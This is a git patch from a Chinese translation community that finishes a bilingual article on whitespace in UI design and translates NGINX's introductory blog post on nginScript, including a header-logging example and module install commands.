+*Clutter is bad.* Cluttering your interface overloads your user with too much information: every added button, image, and line of text make the screen more complicated. If you don’t think any part of your design should be intentionally blank, take a look at example below and you’ll see what happens when too many objects competing for your attention.
+**杂乱的堆砌是很糟糕的一件事情。**在界面上杂乱堆砌元素会给用户带来过多的信息：每一个被添加的按钮、图片和文字都会让界面显得更加复杂。如果你不想你的设计有任何刻意的留白的话，下面这个例子就能很明白的告诉你，有太多东西一起吸引你的注意力是多么可怕的事情。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*nzZwU1-KnaFrSpzMl04dWg.png">
+
+A cluttered UI is unattractive and doesn’t make users want to scan it, especially when there’s no visual hierarchy within the view.
+杂乱堆砌的 UI 尤其是没有视觉层次的 UI 会让用户没有拥有一点想要审视的欲望。
+
+The power of white space comes from the limits of human attention and memory. Our short-term memory can hold a small amount of information (typically [around 7 items or even less](http://www.human-memory.net/types_short.html)) in mind in an active, readily-available state for a short period of time (typically from 10 to 15 seconds, or sometimes up to a minute).
+留白之所以很重要，是因为用户的注意力还有记忆里是有限的。我们的短期记忆只可以在短时间内（通常来说是 10 到 15 秒钟、或者是 1 分钟以内）记住一点有效的既有信息（通常来说[是 7 个事物或者比这个更少](http://www.human-memory.net/types_short.html)）。
+
+> User attention is a precious resource, and should be allocated accordingly.
+> 用户的注意力是很珍贵的资源，所以必须合理的分配。
+
+If cluttering your interface overloads your user with too much information, then reducing the clutter will improve comprehension. Generous whitespace can make some of the messiest interfaces look inviting and simple. Whitespace reduces the amount of elements users see all at once and makes scanning much easier. The skill of using whitespace lies in providing your users with a digestible amount of content ([chunks of content](https://uxplanet.org/best-practices-for-cards-fa45e3ad94dd#.by8pzk56q)), then stripping away extraneous details.
+如果因为你界面上的胡乱堆砌使得用户接收过多的信息，那么减少一些杂物就能改善用户的理解。大方地使用留白可以让凌乱的界面变得简单而有吸引力，留白削减了用户乍看之下接收到的元素数量，这使得浏览信息变得更加容易。留白的使用技巧在于只给用户提供能让他消化的数量的内容（[一定数量的内容](https://uxplanet.org/best-practices-for-cards-fa45e3ad94dd#.by8pzk56q)），然后去掉不必要的细节。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*cY8Jewt4J1xUKyt2rla9nQ.png">
+
+Medium is a great example of using whitespace to improve content and UI comprehension.
+Medium 是一个典型的例子，它善于使用留白来改善用户对内容和 UI 的理解。
+
+#### Draw attention to elements ####
+#### 让元素更具有吸引力 ####
+
+Whitespace creates the spaces around elements in the design to help them stand out or separate from the other elements. It helps communicate what’s most important and needs attention.
+留白在设计中是通过在元素周围留出空白，以让元素更加突出或是和其他元素以进行区分。它可以告诉用户什么是最重要而且是需要格外注意的。
+
+> The more space you provide around the element, the more focused it becomes.
+> 元素周围的留白越多，元素就会越引人注目。
+
+Google Search homepage is a great example of using whitespace. The layout immediately facilitates the user goal by placing primary interaction element (search box) in front and center, with plenty of white space on either side to add emphasis.
+谷歌搜索的首页就是一个使用留白的典型例子，它通过在正中央摆放其最重要的交互元素（搜索框），并且在周围留出足够的空白以凸显其重要性的布局，直接实现了用户目标。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*UbEexVXM8GYMNuwYNqd2PQ.png">
+
+The lack of other elements will make existing elements stand out more.
+去掉其他的元素可以更加凸显留下来的元素。
+
+#### Clarifying relationships ####
+#### 明确关系 ####
+
+The [law of proximity](https://www.interaction-design.org/literature/article/laws-of-proximity-uniform-connectedness-and-continuation-gestalt-principles-2) describes how the human eye perceives connections between visual elements. It states that objects near to each other appear similar. We can use whitespace to build perceived relationships between different elements. Take a look at this picture. Almost everyone sees two groups of dots, rather than simply 16 dots.
+[接近法则](https://www.interaction-design.org/literature/article/laws-of-proximity-uniform-connectedness-and-continuation-gestalt-principles-2)描述了人的眼睛是如何划分视觉元素的，它阐述说距离更近的物体看起来更相似。我们可以利用留白，在不同的元素间产生视觉联系。你看下面这幅图片，几乎所有人都会说看到了两组点，而不是16个点。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*U_YCbTW_AEHSLMnLSqIlqQ.png">
+
+Breaking the information up into appropriate groups can help make it feel more scannable and readable. In the form on the right, categorising the 15 fields into three groups makes the process feel easier. The amount of content is the same, but the impression on users is much different.
+将信息拆分成合适的组别可以让信息更好的被识别和阅读。右边的表单将 15 栏拆分成 3 组，这样填写表单也变得相对容易了。虽然内容的数量仍然相同，但是给用户的感觉却完全不同。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*xv6xhcRljayCKY15LDekfQ.png">
+
+Image credits: NNGroup
+图片来源：NNGroup
+
+### Conclusion ###
+### 总结 ###
+
+*Design with care.* Each minor detail in your app’s UI deserves close attention because UX is the sum of all details working harmoniously:
+**用心设计，应用界面上的每一个小的细节都值得细心揣摩，因为用户体验就是由这些小的细节相互协调作用而成的：
+
+> “The details are not the details. They make the design.” ―Charles Eames
+> “细节不只是细节，细节成就了设计。”
+
+Thank you!
+谢谢！
+
+*Follow UX Planet:* [*Twitter*](https://twitter.com/101babich)[*Facebook*](https://www.facebook.com/uxplanet/)
+**关注 UX Planet：** [*Twitter*](https://twitter.com/101babich)[*Facebook*](https://www.facebook.com/uxplanet/)
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
+  

From 862ac7ba6863d4760063a00dd713fc7721bd30d3 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Mon, 3 Apr 2017 21:34:49 -0700
Subject: [PATCH 029/638] translation V1

---
 TODO/introduction-nginscript.md | 181 ++++++++++++++++----------------
 1 file changed, 91 insertions(+), 90 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index b064136cf65..590646e28ce 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -1,121 +1,121 @@
 > * 原文地址：[Introduction to nginScript](https://www.nginx.com/blog/introduction-nginscript/)
 > * 原文作者：[Liam Crilly](https://www.nginx.com/blog/author/liam-crilly/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者： [鲁辰](https://github.com/1992chenlu)
 > * 校对者：
 
-# Introduction to nginScript
+# nginScript 入门
 
 
 ![](https://cdn.wp.nginx.com/wp-content/uploads/2017/03/introduction-to-nginScript-1000x600.jpg)
 
-### *Harnessing the Power and Convenience of JavaScript for Each Request*
+### *为每一个请求使用 JavaScript 方便和强大的功能*
 
-*Editor – This is the first in a series of blog posts about nginScript. It discusses why NGINX, Inc. developed its own implementation of JavaScript, and presents a sample use case. Check out the other posts to explore additional use cases:*
+*编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司开发他们自己的 JavaScript 实现的原因，并且提出了一个简单的用例。探索更多的用例，请阅读其他的博文：*
 
-- [*Introduction to nginScript*](https://www.nginx.com/blog/introduction-nginscript/)
-- [*Using nginScript to Progressively Transition Clients to a New Server*](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
-- [*Advanced Logging with nginScript*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera) in "Scaling MySQL with TCP Load Balancing and Galera Cluster"
-- [*Data Masking for User Privacy with nginScript*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
+- [*nginScript 入门*](https://www.nginx.com/blog/introduction-nginscript/)
+- [*使用 nginScript 逐步迁移客户端到新的服务器*](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
+- [*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera) in "Scaling MySQL with TCP Load Balancing and Galera Cluster"
+- [*使用 nginScript 实现基于数据遮蔽的用户隐私保护*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
-Since nginScript launched in [September 2015](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product) it has remained an experimental module while additional capabilities and core language support were added. With NGINX Plus R12 we are pleased to announce that nginScript is now generally available as a stable module for NGINX and NGINX Plus.
+自从 nginScript 上线[2015 年 9 月]（https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product）以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
 
-nginScript is a unique JavaScript implementation for NGINX and NGINX Plus, designed specifically for server‑side use cases and per‑request processing. It extends NGINX configuration syntax with JavaScript code in order to implement sophisticated configuration solutions.
+nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每个请求处理而设计的。它使用 JavaScript 代码扩展了 NGINX 的配置语法，以实现复杂配置的解决方案。
 
-The use cases are extensive, especially as nginScript is available for both HTTP and TCP/UDP protocols. Example use cases for nginScript include:
+nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，例如：
 
-- Generating custom log formats with values not available from regular NGINX variables
-- Implementing new load‑balancing algorithms
-- Parsing TCP/UDP protocols for application‑level sticky sessions
+- 根据正常情况下 NGINX 变量无法使用的数值，生成自定义的日志格式
+- 实现新的负载均衡算法
+- 为应用层粘滞会话（sticky sessons）解析 TCP/UDP 协议
 
-There are of course many more possibilities for nginScript, and more still that have yet to be implemented. Although we are pleased to announce general availability of nginScript and be able to recommend it for production use, there is a roadmap of planned improvements that will enable yet more use cases, such as:
+当然，nignScript 可以做更多，也有更多可能性有待实现。虽然我们已经宣布 nignScript 支持广泛地应用，并且已经推荐在生产环境使用 nignScript，但我们还有一些在计划中的改良，用来支持更多的用例：
 
-- Inspecting and modifying the body of HTTP requests and responses (already supported for TCP/UDP traffic)
-- Making HTTP subrequests from nginScript code
-- Writing authentication handlers for HTTP requests (already supported for TCP/UDP traffic)
-- Reading and writing files
+- 查看并修改 HTTP 请求／响应的 body（现已支持 TCP/UDP）
+- 在 nginScript 代码中发出 HTTP 子请求（subrequests）
+- 给 HTTP 请求写 authentication handlers（现已支持 TCP/UDP）
+- 文件读写
 
-Before discussing nginScript in more detail, let’s first address two common misconceptions.
+在深入讨论 nginScript 之前，我们先澄清一下两个普遍存在的误解。
 
-## nginScript Is Not Lua
+## nginScript 不是 Lua
 
-The NGINX community has created several programmatic extensions over the years. At the time of writing, Lua is the most popular of these; it’s available as a [module for NGINX](https://github.com/openresty/lua-nginx-module) and a [certified third‑party module](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product) for NGINX Plus. The Lua module and add‑on libraries provide deep integration with the NGINX core and a rich set of functionality, including a driver for Redis.
+多年来，NIGINX 社区创建了一些程序化扩展。目前，Lua 是其中最流行的；使用时，它是一个[NGINX 模块](https://github.com/openresty/lua-nginx-module)，对于 NGINX Plus 来说，它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)。Lua模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能，包括一个 Redis 的驱动程序。
 
-Lua is a powerful scripting language. It, however, remains fairly niche in terms of adoption and is not typically found in the “skillset toolbox” of the frontend developer or DevOps engineer.
+Lua 是一个强大的脚本语言。但是，就采用率来看，它仍是有一定缺陷的。并且，它也不算一个前端工程师或者开发运维工程师必备技能。
 
-nginScript does not seek to replace Lua and it will be some time before nginScript has a comparable level of functionality. The goal of nginScript is to provide programmatic configuration solutions to the widest possible community by using a popular programming language.
+nginScript 没有企图取代 Lua，并且 nginScript 也无法立刻达到同等级别的实用性。nignScript 的目标是给广大 NIGINX 社区的人民群众，提供一个可以基于一种流行的编程语言的，程序化配置的解决方案。
 
-## nginScript Is Not Node.js
+## nginScript 不是 Node.js
 
-nginScript does not aim to turn NGINX or NGINX Plus into an application server. In simple terms, the use cases for nginScript are akin to middleware, as the code execution happens between the client and the content. Technically speaking, while Node.js shares two things with the combination of nginScript and NGINX or NGINX Plus – an [event‑driven architecture](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product) and the JavaScript programming language – the similarities end there.
+nginScript 的目标并不是将 NGINX 或者 NGINX Plus 变成一个应用服务器。简言之，使用中的 nginScript 类似于中间件，因为脚本的执行是发生于客户端与内容之间的。技术上讲，Node.js 与 nginScript 和 NGINX（或 NGINX Plus）的结合体有两个共同点，那就是[事件驱动的架构](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)，以及，都将 JavaScript 作为编程语言，仅此而已。
 
-Node.js uses the Google V8 JavaScript engine, whereas nginScript is a bespoke implementation of the ECMAScript standards, designed specifically for NGINX and NGINX Plus. Node.js has a persistent JavaScript virtual machine in memory and performs routine garbage collection for memory management, whereas nginScript initializes a new JavaScript virtual machine and the necessary memory for each request and frees the memory when the request is completed.
+Node.js 使用 Google V8 JavaScript 引擎，而 nginScript 则完全是 ECMAScript 标准的实现，专为 NGINX 和 NGINX Plus 设计。Node.js 有一个 JavaScript 虚拟机在内存中一直存在，用来执行垃圾回收和内存管理的操作，而 nginScript 则会对每一个请求都初始化一个 JavaScript 虚拟机和相应的内存空间，并在请求被完成后释放内存空间。
 
-## JavaScript as a Server-Side Language
+## 作为服务端语言的 JavaScript
 
-As mentioned above, nginScript is a bespoke implementation of the JavaScript language. All other existing JavaScript runtime engines are designed to be executed within a web browser. The nature of client‑side code execution is different from server‑side code execution in many ways – from the availability of system resources to the possible number of concurrent runtimes.
+如上所述，nginScript 是 JavaScript 语言的标准实现。而目前，所有其他的 JavaScript 运行引擎，都是以运行在网络浏览器为目的而设计的。客户端代码运行与服务端的代码运行有许多本质上的不同 - 从系统资源的可利用性，到可能存在的并发运行的数量。
 
-We decided to implement our own JavaScript runtime in order to meet the requirements of server‑side code execution and fit elegantly with NGINX’s request‑processing architecture. Our design principles for nginScript are these:
+我们决定实现自己的 JavaScript runtime，来满足运行服务端代码的需要，与 NGINX 请求处理架构那庞大的体量。以下是我们的设计原则：
 
 - 
-**Runtime environment lives and dies with the request**
+**运行环境与请求有相同的生命周期**
 
-nginScript uses single‑threaded bytecode execution, designed for quick initialization and disposal. The runtime environment is initialized per request. Startup is extremely quick, because there is no complex state or helpers to initialize. Memory is accumulated in pools during execution and released at completion by freeing the pools. This memory management scheme eliminates the need to track and free individual objects or to use a garbage collector.
+nginScript 使用单线程的字节码执行，这么设计是为了快速的初始化和垃圾清理。对每个请求，都对应的运行环境被初始化。初始启动是很迅速的，因为初始化没有用到复杂的状态或者帮助类。内存池的消耗在运行的期间逐渐累积，在运行完成的时候被释放。这种内存管理的设计，消除了为单个对象跟踪和释放内存，或者使用垃圾收集器的需要。
 
 - 
-**Non‑blocking code execution**
+**非阻塞的代码执行**
 
-NGINX and NGINX Plus’ event‑driven model schedules the execution of individual nginScript runtime environments. When an nginScript rule performs a blocking operation (such as reading network data or issuing an external subrequest), NGINX and NGINX Plus transparently suspend execution of that VM and reschedule it when the event completes. This means that you can write rules in a simple, linear fashion and NGINX and NGINX Plus schedule them without internal blocking.
+NGINX 和 NGINX Plus 的事件驱动模式会调度每个 nginScript 运行环境的运行。当一个 nginScript 规则执行一个阻塞操作时（比如读取网络数据，或者发起外部的子请求），NGINX 和 NGINX Plus 会将那个 JavaScript 虚拟机挂起，并在那个操作结束时，重新安排它的运行。这意味着，你可以将规则写的简单、线性，而 NGINX 和 NGINX Plus 在调度它们的时候也不会被阻塞。
 
 - 
-**Implement only the language support that we need**
+**按照我们的需要实现语言**
 
-The specifications for JavaScript are defined by the [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) standards. nginScript follows [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/) with some [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) for mathematical functions. Implementing our own JavaScript runtime gives us the freedom to prioritize language support for server‑side use cases and ignore what we don’t need. We maintain a [list of supported and not‑yet‑supported language elements](http://nginx.org/en/docs/njs_about.html).
+JavaScript 的详细描述是被 [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) 标准定义的。nginScript 使用 [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/)，和一部分 [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) 以实现数学相关的功能。实现自己的 JavaScript runtime 让我们能够更自由的调整服务端用例的语言支持的优先级，并忽视掉我们不需要的部分。我们有一个[已经提供支持和尚未提供支持的语言要素的列表](http://nginx.org/en/docs/njs_about.html)。
 
 - 
-**Close integration with request‑processing phases**
+**与请求处理阶段的紧密结合**
 
-NGINX and NGINX Plus process requests in distinct phases. Configuration directives typically operate at a specific phase and native NGINX modules often take advantage of the ability to inspect or modify a request at a particular phase. nginScript exposes some of the processing phases through configuration directives to give control over when the JavaScript code is executed. This integration with the configuration syntax promises the power and flexibility of native NGINX modules with the simplicity of JavaScript code.
+NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常在一个特定的阶段被执行，原生的 NGINX 模块通常会在某个特定阶段，查看或者修改一个请求。nginScript 会将一些处理阶段暴露出去，通过配置指令，将控制权交给运行时的 JavaScript 代码。这种整合配置规则的方式，同时保证了原生 NGINX 模块的功能性和灵活性，与 JavaScript 代码的简单。
 
-The table below indicates which processing phases are accessible via nginScript at the time of writing, and the configuration directives that provide it.
+下面的表格指出了目前可被 nginScript 利用的处理阶段，还有相应的配置指令。
 
-|Processing Phase|HTTP Module|Stream (TCP/UDP) Module|
+|处理阶段|HTTP 模块|流 (TCP/UDP) 模块|
 |------|-------|-------|
-|Access – Network connection access control|❌|✅ [js_access](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_access)|
-|Pre-read – Read/write body|❌|✅ [js_preread](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_preread)|
-|Filter – Read/write body during proxy|❌|✅ [js_filter](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_filter)|
-|Content – Send response to client|✅ [js_content](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_content)|❌|
-|Log / Variables – Evaluated on demand|✅ [js_set](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)|✅ [js_set](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_set)|
+|访问 – 网络连接访问控制|❌|✅ [js_access](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_access)|
+|预读（Pre-read） – 读／写 body|❌|✅ [js_preread](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_preread)|
+|过滤器 – 在代理中读／写 body|❌|✅ [js_filter](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_filter)|
+|内容 – 向客户端发送响应|✅ [js_content](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_content)|❌|
+|日志/变量 – 应需评估|✅ [js_set](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)|✅ [js_set](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_set)|
 
-## Getting Started with nginScript – A Real‑World Example
+## nginScript 入门 – 一个真实的例子
 
-nginScript is implemented as a module that you can compile into an open source NGINX binary or dynamically load into NGINX or NGINX Plus. [Instructions for enabling nginScript](#nginscript-enable) with NGINX and NGINX Plus appear at the end of this article.
+nginScript 可以作为一个模块，可以被编译到一个开源的 NGINX 二进制文件里，或者动态地载入 NGINX 或 NGINX Plus。本文的结尾处，有在 NGINX 和 NGINX Plus 中[开始使用 nginScript](#nginscript-enable)的说明。
 
-In this example we use NGINX or NGINX Plus as a simple reverse proxy and use nginScript to construct access log entries in a specialized format, that:
+在这个例子中，我们使用 NGINX 或 NGINX Plus 作为简单的反向代理，并使用 nginScript 以一种特定的格式构建访问日志记录。
 
-- Includes the request headers sent by the client
-- Includes the response headers returned by the backend
-- Uses key‑value pairs for efficient ingestion into and searching with log processing tools such as the ELK Stack (now called Elastic Stack), Graylog, and Splunk
+- 包括客户端发来的请求文件头（request headers）
+- 包括后端返回的响应文件头（response headers）
+- 使用键值对，以便让日志文件处理工具（例如现在被称作 Elastic Stack 的 ELK Stack）高效的搜索和摄入日志记录
 
-The NGINX configuration for this example is extremely simple.
+这个例子的 NGINX 配置十分简单：
 
 ```
 Failed loading gist 
 https://gist.github.com/49e2f6f6b0a36ed9846dd63cddbd742a.json: timeout
 ```
 
-As you can see, the nginScript code does not sit inline with the configuration syntax. We use the [`js_include`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_include) directive to specify the file that contains all of our JavaScript code. The [`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set) directive defines a new NGINX variable, `$access_log_with_headers`, and the JavaScript function that populates it. The [`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format) directive defines a new format called **kvpairs** which writes each log line with the value of `$access_log_with_headers`.
+如你所见，nginScript 代码与配置规则并不一样。我们用[`js_include`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_include) 指令来指定包含我们所有的 JavaScript 代码的文件。[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set) 指令定义了一个新的 NGINX 变量`$access_log_with_headers`，还有填充这个变量所需的 JavaScript 函数。[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令定义了一种名为 **键值对（kvpairs）** 的新格式，它使用`$access_log_with_headers`变量的值输出每一行日志。
 
-The [`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server) block defines a simple HTTP reverse proxy that forwards all requests to **http://www.example.com**. The [`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log) directive specifies that all requests will be logged with the **kvpairs** format.
+[`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server)指令定义了一个简单的 HTTP 反向代理，这个反向代理可以将所有的请求转发给一个新地址，例如**http://www.example.com**。[`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log)指令可以用来指定所有以**键值对（kvpairs）**格式被录入日志的请求。
 
-Let’s now look at the JavaScript code that prepares the log line. We have two functions:
+我们现在来看一下用来准备每一行日志格式的 JavaScript 代码。我们有两个函数：
 
-- `kvHeaders` – A support function that converts the `headers` object to a string of key‑value pairs. Support functions must be declared before the function that calls them.
-- `kvAccessLog` – The function defined in the `js_set` directive within the NGINX configuration. It receives two object [arguments](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments) that represent the client request (`req`) and the backend server’s response (`res`). Built‑in objects like these can be passed to all HTTP nginScript functions.
+- `kvHeaders` - 一个将`headers`对象转换为键值对的帮助函数。所有的帮助函数，必须在调用他们的函数前面被声明。
+- `kvAccessLog` - 这个函数定义了 NGINX 配置中的 `js_set` 指令。它接收两个对象[参数（arguments）](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments)，它们分别代表了客户端请求（`req`），与后端服务器的响应（`res`）。像它们这样的内置对象，也可以被传递到所有 HTTP 的 nginScript 函数中。
 
-As can be seen in the `kvAccessLog` function, it is the return value that is passed to the [`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set) configuration directive. Bear in mind that NGINX variables are evaluated on demand and this in turn means that the JavaScript function defined by `js_set` is executed when the value of the variable is required. In this example, `$access_log_with_headers` is used in the [`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format) directive and so `kvAccessLog()` is executed at log time. Variables used as part of [`map`](http://nginx.org/en/docs/http/ngx_http_map_module.html#map) or [`rewrite`](http://nginx.org/en/docs/http/ngx_http_rewrite_module.html#rewrite) directives trigger the corresponding JavaScript execution at an earlier processing phase.
+正如在`kvAccessLog`函数中看到的那样，返回值才会被传递到[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)配置指令。要记住， NGINX 变量是应需评估的，这也就意味着被`js_set`定义的 JavaScript 函数只有在变量的值被需要的时候才会执行。在这个例子中，`$access_log_with_headers`被[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令使用，因此`kvAccessLog()`是在输出日志的时候被执行的。而在[`map`](http://nginx.org/en/docs/http/ngx_http_map_module.html#map)指令或者[`rewrite`](http://nginx.org/en/docs/http/ngx_http_rewrite_module.html#rewrite)指令中被用到的变量，会在更早的处理阶段出发对应的 JavaScript 代码的执行。
 
-We can see this nginScript‑enhanced logging solution in action by passing a request through our reverse proxy and observing the resulting log file entry.
+我们通过传递一个请求通过我们的反向代理的方式，来观察这种增强版的 nginScript 日志记录解决方案，和它最终产生的日志文件记录。
 
 ```
 $ curl http://127.0.0.1/
@@ -123,95 +123,96 @@ $ tail --lines=1 /var/log/nginx/access_headers.log
 2017-03-14T14:36:53+00:00 client=127.0.0.1 method=GET uri=/ status=200 req.Host=127.0.0.1 req.User-Agent=curl/7.47.0 req.Accept=*/* res.Cache-Control=max-age=604800 res.Etag=\x22359670651+ident\x22 res.Expires='Tue, 21 Mar 2017 14:36:53 GMT' res.Last-Modified='Fri, 09 Aug 2013 23:54:35 GMT' res.Vary=Accept-Encoding res.X-Cache=HIT
 ```
 
-Much of the utility of nginScript is a result of its access to NGINX internals. This example utilizes several [properties of the request and response objects](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments). The Stream nginScript module for TCP and UDP applications utilizes a single [session object with its own set of properties](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#properties). See our blog for other examples of nginScript solutions:
+nginScript 的许多功能都来自它访问 NGINX 内部的能力。这个例子使用了一些[请求与响应对象的属性](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments)。nginScript 针对 TCP 和 UDP 的流模块使用了一个[session 对象和它的属性集](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#properties)。查看我们的博客可以得到更多 nginScript 解决方案的例子。
 
-- HTTP – [Using nginScript to progressively transition clients to a new server](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)
-- Stream – [Logging the SQL method when load balancing Galera Cluster](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product#nginscript-logging-galera)
+- HTTP - [使用 nginScript 逐步迁移客户端到新的服务器](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)
+- 流（Stream） – [Galera 集群负载均衡过程中 SQL 方法的日志记录](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product#nginscript-logging-galera)
 
-We’d love to hear about the use cases that you come up with for nginScript – please tell us about them in the comments section below.
+我们会很乐意了解你们想到的 nginScript 用例 - 请在评论里告诉我们。
 
 ---
 
-## Enabling nginScript for NGINX and NGINX Plus
+## 在 NGINX 和 NGINX Plus 中开始使用 nginScript
 
-- [Loading nginScript for NGINX Plus](#nginscript-nginx-plus-load)
-- [Loading nginScript for Open Source NGINX](#nginscript-oss-load)
-[#nginscript-oss-load](#nginscript-oss-load)- [#nginscript-oss-load](#nginscript-oss-load)[Compiling nginScript as a Dynamic Module for Open Source NGINX](#nginscript-oss-compile)
+- [给 NGINX Plus 装载 nginScript](#nginscript-nginx-plus-load)
+- [给开源 NGINX 装载 nginScript](#nginscript-oss-load)
+[#nginscript-oss-load](#nginscript-oss-load)- [#nginscript-oss-load](#nginscript-oss-load)
+- [给开源 NGINX 编译动态 nginScript 模块](#nginscript-oss-compile)
 
-### Loading nginScript for NGINX Plus
-
-nginScript is available as a free [dynamic module](https://www.nginx.com/products/dynamic-modules/) for NGINX Plus subscribers (for open source NGINX, see [Loading nginScript for Open Source NGINX](#nginscript-oss-load) below). 
+### 给 NGINX Plus 装载 nginScript
+ 
+nginScript 是 NGINX Plus 订阅者可以免费使用的[动态模块](https://www.nginx.com/products/dynamic-modules/)，（关于开源 NGINX，请参考下面[给开源 NGINX 装载 nginScript](#nginscript-oss-load)的部分。）
 
 1. 
-Obtain the module itself by installing it from the NGINX Plus repository.
+从 NGINX Plus repository 获取并安装 nginScript 模块
 
 - 
-For Ubuntu and Debian systems:
+Ubuntu 和 Debian 系统使用下面的命令：
 
 ```
 $ sudo apt‑get install nginx-plus-module-njs
 ```
 
-For RedHat, CentOS, and Oracle Linux systems:
+-
+RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：
 
 ```
 $ sudo yum install nginx-plus-module-njs
 ```
 
-- 
